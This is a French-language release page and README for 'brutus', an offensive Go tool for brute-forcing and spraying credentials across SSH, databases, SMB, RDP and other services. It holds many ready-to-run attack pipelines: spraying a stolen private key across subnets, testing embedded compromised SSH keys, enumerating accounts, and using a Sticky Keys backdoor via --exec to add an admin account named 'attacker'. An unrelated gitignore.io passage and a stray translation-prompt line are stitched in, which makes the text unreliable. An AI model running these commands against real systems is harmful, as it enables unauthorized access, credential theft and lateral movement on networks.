Retour aux mises à jour
New releaseJul 25, 2026

brutus v1.10.0

Outil de test d'identifiants rapide et sans dépendances en Go. Force brute sur SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB et plus de 20 protocoles. Alternative à Hydra avec intégration native du pipeline nerva/naabu.

Partager
Brutus - Social

Brutus

"Et tu, Brute?" — Les derniers mots avant la chute des identifiants.

Outil moderne de test d'authentification en Go pur

InstallationDémarrage rapidePipelineProtocolesÉnumérationProxyBibliothèque


Présentation

Brutus est un outil de test d'authentification multi-protocole conçu pour combler une lacune critique dans les outils offensifs de sécurité : la validation efficace des identifiants sur divers services réseau. Alors que les outils orientés HTTP sont abondants, les testeurs d'intrusion et les opérateurs red team rencontrent fréquemment des bases de données, SSH, SMB et d'autres services réseau qui nécessitent des capacités de test d'authentification spécialisées.

Construit en Go sous forme d'un binaire unique sans dépendances externes, Brutus s'intègre parfaitement avec Nerva pour la découverte automatisée de services, permettant aux opérateurs d'identifier et de tester rapidement les vecteurs d'authentification sur des plages réseau entières.

Fonctionnalités clés :

  • Zéro dépendance : Binaire unique, multiplateforme (Linux, Windows, macOS)
  • 27 protocoles : SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth, et plus
  • Support proxy SOCKS5 : Routage de tout le trafic via un proxy SOCKS5 avec --proxy
  • Modes d'agressivité : --mode cautious|default|aggressive pour ajuster la couverture par rapport à la sécurité
  • Intégration pipeline : Support natif des workflows Nerva, naabu, nmap et masscan
  • Clés compromises intégrées : Collection intégrée de clés SSH connues (Vagrant, F5, ExaGrid, etc.)
  • Énumération de comptes : Oracle d'existence de comptes, énumération d'utilisateurs Kerberos, génération d'emails, authentification par code d'appareil Microsoft Teams/Entra ID
  • Bibliothèque Go : Importez directement dans vos outils d'automatisation de sécurité
  • Prêt pour la production : Limitation de débit, pooling de connexions et gestion complète des erreurs

Pourquoi Brutus ?

Les outils traditionnels comme THC Hydra ont bien servi la communauté de la sécurité, mais ils présentent des frictions importantes : chaînes de dépendances complexes, problèmes de compilation spécifiques à la plateforme, et absence d'intégration native avec les workflows de reconnaissance modernes.

Brutus est spécialement conçu pour la sécurité offensive moderne :

  • Déploiement vraiment sans dépendance : Téléchargez un seul binaire et exécutez-le. Pas de libssh-dev, pas de libmysqlclient-dev, pas d'erreurs de compilation. Fonctionne à l'identique sur Linux, macOS et Windows.

  • Intégration pipeline native : Brutus parle JSON et s'intègre directement avec Nerva, naabu, nmap et masscan. Envoyez les services découverts directement dans les tests d'authentification sans conversion de format ni script.

  • Intelligence embarquée : Les clés SSH compromises connues (Vagrant, F5 BIG-IP, ExaGrid, etc.) sont compilées dans le binaire. Utilisez brutus badkeys pour les tester contre des cibles SSH.

  • Conception orientée bibliothèque : Importez Brutus directement dans vos outils de sécurité Go. Construisez des automatisations personnalisées sans avoir à appeler des processus externes.```bash

Full network credential audit in one pipeline (JSON mode)

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json

Or use Nerva's default URI output — no --json flags needed

naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds

---

## Cas d'utilisation

### Tests de pénétration
- Valider les identifiants découverts sur plusieurs services lors d'évaluations internes
- Tester les schémas de réutilisation de mots de passe sur les services de base de données et de partage de fichiers
- Identifier les identifiants par défaut sur une infrastructure nouvellement déployée

### Opérations d'équipe rouge
- Validation rapide des identifiants après des fuites de mots de passe ou des campagnes de phishing
- Tester les opportunités de mouvement latéral à travers les services réseau
- Valider les identifiants compromis dans des environnements hétérogènes

### Pulvérisation de clés privées

Vous avez trouvé une clé privée sur un système compromis ? Pulvérisez-la sur le réseau pour découvrir où elle accorde également l'accès :```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

Cette pipeline découvre tous les services SSH, les identifie avec Nerva, et teste la clé compromise contre des noms d'utilisateur courants — révélant les opportunités de mouvement latéral en quelques secondes.

Test du panneau d'administration web

Découvrez les services HTTP et testez les identifiants à l'aide de la détection alimentée par l'IA ou de listes d'identifiants manuelles :```bash

AI-powered: auto-detect devices and suggest default credentials

naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json

Manual: test specific credentials against web panels

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json

Default wordlist: test common credentials without AI or -c

naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json

### Validation de la sécurité
- Tester les identifiants par défaut sur les services nouvellement déployés
- Valider l'application de la politique de mots de passe sur toutes les plates-formes
- Générer des pistes d'audit pour les évaluations de conformité et de sécurité

---

## Installation

### Binaires précompilés (Recommandé)

Télécharger depuis [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

Please provide the Markdown content to translate.```powershell

Windows (PowerShell)

Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip

### Installation de Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Démarrage rapide

Sous-commandes

Brutus organise ses fonctionnalités en six sous-commandes ciblées :```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)

Chaque sous-commande a des alias pour la découvrabilité :

| Sous-commande | Alias |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(aucun)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Utilisation de base```bash

Test SSH with default credentials

brutus creds --target 192.168.1.100:22 --protocol ssh

Test with specific credentials

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

Test with username and password lists

brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt

Test MySQL database

brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password

Test SSH with a specific private key

brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa

Increase threads for faster testing

brutus creds --target 192.168.1.100:22 --protocol ssh -t 20

JSON output for scripting

brutus creds --target 192.168.1.100:22 --protocol ssh --json

### Exemple de sortie```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

Avec le mode verbeux (-v):``` $ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v [-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s) [+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)

Sortie JSON pour l'intégration de pipeline (ne produit que les identifiants valides) :```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

Intégration dans le pipeline

Brutus s'intègre de manière transparente avec Nerva et naabu pour une reconnaissance réseau complète.

Scénarios du monde réel

Scénario 1 : Scan d'un réseau d'entreprise /24```bash

Discover all open ports, identify services, test default credentials

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json

Same pipeline using Nerva's default URI output (no --json needed)

naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json

Review findings (all output is successful credentials)

cat results.json | jq '.'

#### Scénario 2 : Reconnaissance Bug Bounty sur un domaine cible```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

Scénario 3 : Chasse aux bases de données dans le cadre d'une évaluation interne```bash

Find and test all databases in a range

naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json

Extract credentials in readable format

jq -r '"(.target) (.username):(.password)"' database-findings.json

#### Scénario 4 : Test des clés SSH sur l'infrastructure```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

Scénario 5 : Test ciblé de services```bash

Test only Redis instances found in the network

naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds

Test only MongoDB with custom credentials

naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb

### Import d'outils de scan (Nmap et Masscan)

Brutus peut importer directement des cibles depuis les fichiers de sortie de scan **nmap** et **masscan**, éliminant le besoin de conversion de format ou d'outils intermédiaires.

#### Import XML Nmap (`--nmap-file`)

Importe des cibles depuis la sortie XML de nmap (`-oX`). Nmap fournit l'empreinte des services, donc Brutus associe automatiquement les services détectés au protocole correct :```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

Les noms de services Nmap sont automatiquement mappés aux protocoles Brutus (par ex., ms-wbt-serverrdp, microsoft-dssmb). Le TLS est détecté à partir de l'attribut tunnel="ssl" de nmap. Seuls les ports ouverts sur les hôtes actifs sont importés.

Masscan JSON Import (--masscan-file)

Importez des cibles depuis la sortie JSON de masscan (-oJ). Comme masscan est seulement un scanner de ports (pas d'empreinte de service), vous devez soit spécifier --protocol, soit laisser Brutus auto-empreinter avec Nerva :```bash

Run a masscan port scan

masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000

Test all discovered ports as SSH (when you know what's running)

brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt

Auto-fingerprint with Nerva (when services are unknown)

brutus creds --masscan-file scan.json -P passwords.txt

#### Combinaison avec d'autres flux de travail

Les options `--nmap-file` et `--masscan-file` fonctionnent avec toutes les sous-commandes et sont mutuellement exclusives avec `--target`, `--targets-file` et stdin :```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

Format d'entrée du pipeline

Brutus accepte plusieurs formats d'entrée depuis stdin:

Nerva JSON (nerva --json):```bash {"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"} {"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}

**Nerva URI** (sortie Nerva par défaut, pas besoin de `--json`):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Cibles nues (auto-empreintes avec Nerva) :```bash echo "192.168.1.100:22" | brutus creds

Brutus automatiquement :
- Analyse les formats JSON, URI et cibles nues
- Mappe les services aux protocoles
- Teste les identifiants par défaut appropriés
- Produit les résultats au format JSON correspondant

### Format de sortie du pipeline

Brutus ne produit que les identifiants réussis au format JSONL (un objet JSON par ligne) :```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

Note : Les tentatives d'authentification échouées ne sont pas incluses dans la sortie JSON. Le champ key apparaît (comme true) lorsque l'authentification a utilisé une clé SSH au lieu d'un mot de passe. Le champ llm_suggested apparaît (comme true) lorsque les identifiants ont été suggérés par le système d'IA (--experimental-ai).


Comparaison

FonctionnalitéHydraMedusaNcrackBrutus
Binaire unique
Zéro dépendances
Proxy SOCKS5
Pipeline Nerva
Import Nmap/Masscan
Streaming JSON⚠️
Multi-plateforme⚠️⚠️⚠️
Erreurs cohérentes⚠️⚠️⚠️
Développement actif⚠️
Clés faibles intégrées
Import de bibliothèque Go

Protocoles pris en charge

Brutus prend en charge 27 protocoles :

Services réseau

ProtocolePortMéthodes d'authentificationCas d'utilisation
SSH22Mot de passe, clés privéesServeurs, équipements réseau
FTP21Mot de passeServeurs de fichiers, NAS
Telnet23Mot de passeSystèmes hérités, IoT
VNC5900Mot de passeBureaux à distance
RDP3389NLA/CredSSP, mot de passeServeurs Windows, postes de travail
SNMP161Chaîne de communautéÉquipements réseau, imprimantes

Services Web

ProtocolePortMéthodes d'authentificationCas d'utilisation
HTTP80Authentification de basePanneaux d'administration (Grafana, Jenkins, etc.)
HTTPS443Authentification de basePanneaux d'administration sécurisés

Infrastructure d'entreprise

ProtocolePortMéthodes d'authentificationCas d'utilisation
SMB445Mot de passe, NTLMRéseaux Windows, partages de fichiers
LDAP389/636Bind DNActive Directory, identité
WinRM5985/5986NTLMGestion à distance Windows

Bases de données

ProtocolePortMéthodes d'authentificationCas d'utilisation
MySQL3306Mot de passeApplications Web
PostgreSQL5432Mot de passeApplications modernes
MSSQL1433Mot de passeApplications d'entreprise
MongoDB27017Mot de passeBackends NoSQL
Redis6379Mot de passeCache, sessions
Neo4j7687Mot de passeBases de données graphes
Cassandra9042Mot de passeBases de données distribuées
CouchDB5984Authentification de base HTTPMagasins de documents
Elasticsearch9200Authentification de base HTTPMoteurs de recherche
InfluxDB8086Authentification de base HTTPDonnées temporelles
Oracle1521Mot de passeBases de données d'entreprise

Conteneurs et orchestration

ProtocolePortMéthodes d'authentificationCas d'utilisation
Docker2375/2376Non authentifiéDaemons Docker exposés
Kubernetes6443/10250Non authentifiéAPI K8s/kubelet exposés

Communications

ProtocolePortMéthodes d'authentificationCas d'utilisation
SMTP25/587Mot de passeRelais de messagerie
IMAP143/993Mot de passeAccès boîte mail
POP3110/995Mot de passeAccès boîte mail

Clés SSH faibles intégrées

Déploiement en binaire unique sans fichiers de clés externes nécessaires. Chaque clé est associée à son nom d'utilisateur par défaut pour un mappage intelligent des identifiants, et le suivi CVE permet des requêtes de conformité.

Brutus embarque les collections de clés rapid7/ssh-badkeys et Vagrant intégrées dans le binaire :```bash

Test bad keys against a single target

brutus badkeys --target 192.168.1.100:22

Pipeline mode: scan a range for compromised SSH keys

naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys

Test credentials (bad keys are NOT included in creds mode)

brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"

### Collection de clés intégrées

| Produit | CVE | Utilisateur par défaut | Description |
|---------|-----|------------------------|-------------|
| Vagrant | - | vagrant, root | Clé non sécurisée de Vagrant (HashiCorp) |
| F5 BIG-IP | CVE-2012-1493 | root | Clé d'hôte SSH statique |
| ExaGrid | CVE-2016-1561 | root | Porte dérobée d'appliance de sauvegarde |
| Monroe DASDEC | CVE-2013-0137 | root | Systèmes d'alerte d'urgence |
| Barracuda | CVE-2014-8428 | cluster | Machine virtuelle de répartiteur de charge |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Liaison hertzienne |
| Array Networks | - | sync | Appliances vAPV/vxAG |
| Quantum DXi | - | root | Appliances de déduplication |
| Loadbalancer.org | - | root | Répartiteurs de charge d'entreprise |

---

## Modes d'agressivité

Le paramètre global `--mode` (`-m`) contrôle l'agressivité sur toutes les sous-commandes. Il définit des préréglages d'optimisation des performances qui équilibrent la couverture par rapport à la sécurité :

| Mode | Threads | Timeout | Limite de débit | Gigue | Nouvelles tentatives | Cas d'utilisation |
|------|---------|---------|------------------|-------|----------------------|-------------------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Environnements de production, éviter les verrouillages |
| `default` | 10 | 10s | Illimité | Aucun | 2 | Tests standards |
| `aggressive` | 20 | 10s | Illimité | Aucun | 3 | Environnements de laboratoire/CTF, couverture maximale |

Les préréglages de mode sont appliqués en premier, puis les options explicites de CLI les remplacent.```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Pour SNMP, le mode contrôle également la profondeur intégrée de la liste de mots (voir SNMP Community String Testing).


Prise en charge du proxy SOCKS5

L'option --proxy achemine toutes les connexions via un proxy SOCKS5. Cela fonctionne sur tous les protocoles et sous-commandes :```bash

Route SSH testing through a SOCKS5 proxy

brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080

Proxy with authentication

brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080

DNS resolution on the proxy side (socks5h)

brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080

Combine with pipeline input

naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080

Works with all subcommands

brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080

Supported schemes:
- `socks5://` — Proxy SOCKS5 standard (résolution DNS côté client)
- `socks5h://` — SOCKS5 avec résolution DNS distante (utile pour cibler des noms d'hôte internes)

---

## Test des chaînes de communauté SNMP

La sous-commande `snmp` fournit un test dédié des chaînes de communauté SNMP v1/v2c avec des listes de mots hiérarchisées contrôlées par le drapeau global `--mode` :

| Mode | Chaînes | Couverture |
|------|---------|------------|
| `cautious` | ~25 | Chaînes courantes (public, private, community, etc.) |
| `default` | ~25 | Identique à cautious |
| `aggressive` | 200+ | Complet (spécifique aux fournisseurs, SCADA, caméras IP, stockage, etc.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Intégration en tant que bibliothèque

Pour les développeurs créant des outils d'automatisation de sécurité, Brutus peut également être importé en tant que bibliothèque Go :```bash go get github.com/praetorian-inc/brutus

**Filtre** : "Out-of-Band (OOB)"

**Tri** : "-date"

**URL** : https://github.com/toptal/gitignore.io

---

La structure

Gitignore.io utilise une structure simple basée sur des modèles hiérarchiques. Il existe deux types de modèles :

* modèles de langages/frameworks de programmation (par ex. Python, Java, Ruby on Rails)
* modèles de plateforme (par ex. Windows, Linux, OSX)

Chaque modèle possède un nom unique, un ensemble d'alias et une liste ordonnée d'identifiants Stack courants. Dans le [répertoire data](https://github.com/toptal/gitignore.io/tree/master/data) vous trouverez des sous-répertoires qui définissent les différents types de modèles.

### Décomposition de la structure

Vous pouvez voir ici les éléments constitutifs de la structure :```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

Expérimental : Détection d'identifiants par IA

⚠️ Fonctionnalité expérimentale : Les fonctionnalités IA nécessitent des clés API externes et sont en développement actif.

Le drapeau --experimental-ai

Le drapeau --experimental-ai active la détection automatique d'identifiants pour les services HTTP :```bash

Set up API keys

export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search

AI-powered credential testing against HTTP services

naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai

**Comment ça fonctionne :**

1. **Détection** — Brutus sonde les cibles HTTP pour détecter le type d'authentification (Basic Auth vs formulaire)
2. **Identification de l'appareil** — Claude Vision analyse les captures d'écran pour identifier l'appareil/application
3. **Suggestions d'identifiants** — Claude suggère des identifiants par défaut à partir de ses données d'apprentissage
4. **Recherche Web optionnelle** — Perplexity (si configuré) recherche des identifiants supplémentaires en ligne
5. **Test** — Teste les identifiants découverts sur la cible

**Pour les cibles HTTP Basic Auth :**
- Sonde `/` pour capturer les en-têtes HTTP
- Identifie l'appareil à partir de l'en-tête Server, du domaine WWW-Authenticate, etc.
- Claude suggère des identifiants par défaut probables
- Teste les paires d'identifiants automatiquement

**Pour les cibles HTTP par formulaire d'authentification :**
- Utilise Chrome sans tête pour rendre et capturer la page
- Claude Vision identifie le formulaire de connexion, le type d'appareil et suggère des identifiants
- Perplexity (optionnel) recherche des identifiants par défaut supplémentaires
- L'automatisation du navigateur remplit et soumet le formulaire

**Prérequis :**
- `ANTHROPIC_API_KEY` — **Requis** pour Claude Vision (identification de l'appareil + suggestions d'identifiants)
- `PERPLEXITY_API_KEY` — *Optionnel* pour une recherche Web supplémentaire
- Chrome/Chromium installé (pour l'authentification par formulaire uniquement)

**Les protocoles non-HTTP (SSH, MySQL, etc.) ne sont pas affectés par `--experimental-ai`** — ils continuent à utiliser les tests d'identifiants standards.

---

## RDP : Détection et exploitation du backdoor Sticky Keys

Brutus inclut la détection automatique du **backdoor Sticky Keys** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) sur les cibles RDP. Cette vérification pré-authentification s'exécute sur les cibles RDP non-NLA — aucun identifiant requis.

**Comment ça fonctionne :**

1. Se connecte à la cible RDP et négocie une session non-NLA
2. Capture le bitmap de l'écran de connexion comme référence
3. Envoie 5x la touche Maj (le déclencheur des touches rémanentes)
4. Capture le bitmap de réponse
5. Une analyse heuristique détecte si une fenêtre de terminal est apparue (cmd.exe, PowerShell, etc.)
6. Confirme éventuellement via l'API Claude Vision (lorsque `ANTHROPIC_API_KEY` est définie)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

Mode de détection uniquement : La sous-commande logon exécute la détection des touches rémanentes et du backdoor utilman sans force brute :```bash

Detection only (no brute force)

brutus logon --target 10.0.0.50:3389

**Résultat de la détection:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Exécution de commande via la porte dérobée (--exec)

Une fois qu'une porte dérobée est détectée, exécutez une commande sur le système distant via l'invite de commande pré-authentification :```bash

Execute a single command via the backdoor

brutus logon --target 10.0.0.50:3389 --exec "whoami"

Add a local admin account

brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"

Cela se connecte, déclenche la porte dérobée, tape la commande, appuie sur Entrée, attend la sortie, et enregistre une capture d'écran PNG du résultat.

### Terminal Web Interactif (`--web`)

Lancez un visualiseur RDP basé sur navigateur pour une interaction en direct avec l'invite de commande de la porte dérobée :```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

Ceci démarre un serveur HTTP local avec :

  • Streaming d'écran en direct à ~10 FPS (JPEG via WebSocket)
  • Redirection complète du clavier (scancodes PS/2 mappés depuis KeyboardEvent du navigateur)
  • Support de la souris (clic, déplacement, clic droit)
  • Statut de connexion avec superposition de déconnexion et bouton de reconnexion

Ouvrez l'URL affichée (par exemple http://127.0.0.1:<port>) dans n'importe quel navigateur pour interagir avec la session RDP distante. Si la session se déconnecte en raison d'un délai d'inactivité côté serveur, cliquez sur Reconnecter pour établir une nouvelle session.

Note : Les sessions RDP non-NLA ont un délai d'inactivité côté serveur (la valeur par défaut de Windows varie selon la configuration, généralement contrôlée par la stratégie de groupe sous Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Pour étendre le délai d'inactivité sur une cible de test, définissez MaxIdleTime à 0 dans le registre :

HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)

Considérations B-TP (Benign True Positive) : Le remplacement de la backdoor peut également indiquer des procédures de récupération de mot de passe oublié ou des artefacts de tests de pénétration autorisés.

Pipeline de scan RDP de masse

Pour les évaluations à grande échelle, la sous-commande logon exécute la détection de backdoor sur plusieurs cibles. Elle accepte les entrées du pipeline, les fichiers de cibles ou les importations nmap/masscan — seuls les services RDP sont testés :```bash

Scan a /24 for sticky keys and utilman backdoors

naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json

Scan from nmap results

brutus logon --nmap-file scan.xml --json -o rdp-findings.json

Scan from targets file

brutus logon --targets-file rdp-targets.txt --json

Extract critical findings

jq 'select(.finding == "[CRITICAL]")' rdp-findings.json

**Technical implementation:** Le support du protocole RDP utilise [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilé en WebAssembly et exécuté via [wazero](https://github.com/tetratelabs/wazero), conservant la conception zéro-CGO et binaire unique de Brutus.

---

## Énumération des comptes

La sous-commande `enum` énumère quels oracles d'existence de compte fonctionnent pour une organisation (et énumère les courriels par rapport à eux) ou énumère les utilisateurs Active Directory, le tout sans envoyer de mots de passe.

### Énumération des oracles d'existence de compte

Identifiez quels oracles d'existence de compte non authentifiés (microsoft365, google, github, plus l'oracle Microsoft Teams) fonctionnent pour une organisation, validez-les par rapport à un utilisateur connu valide, puis énumérez les courriels candidats par rapport aux oracles fonctionnels. La reconnaissance DNS TXT révèle les oracles candidats ; la validation par rapport à `--known-valid` est le point principal. `--known-valid` est requis, et l'énumération ne s'exécute que contre les oracles qui le confirment :```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

Énumération des utilisateurs Kerberos

Énumérez les noms d'utilisateur Active Directory via Kerberos AS-REQ (aucun mot de passe envoyé, aucun risque de verrouillage) :```bash

Enumerate specific users

brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt

Enumerate from file

brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt

Generate usernames and pipe to Kerberos enum

brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -

### Génération d'email/nom d'utilisateur

Générer des adresses email ou des noms d'utilisateur à partir de listes de prénoms/noms intégrées :```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
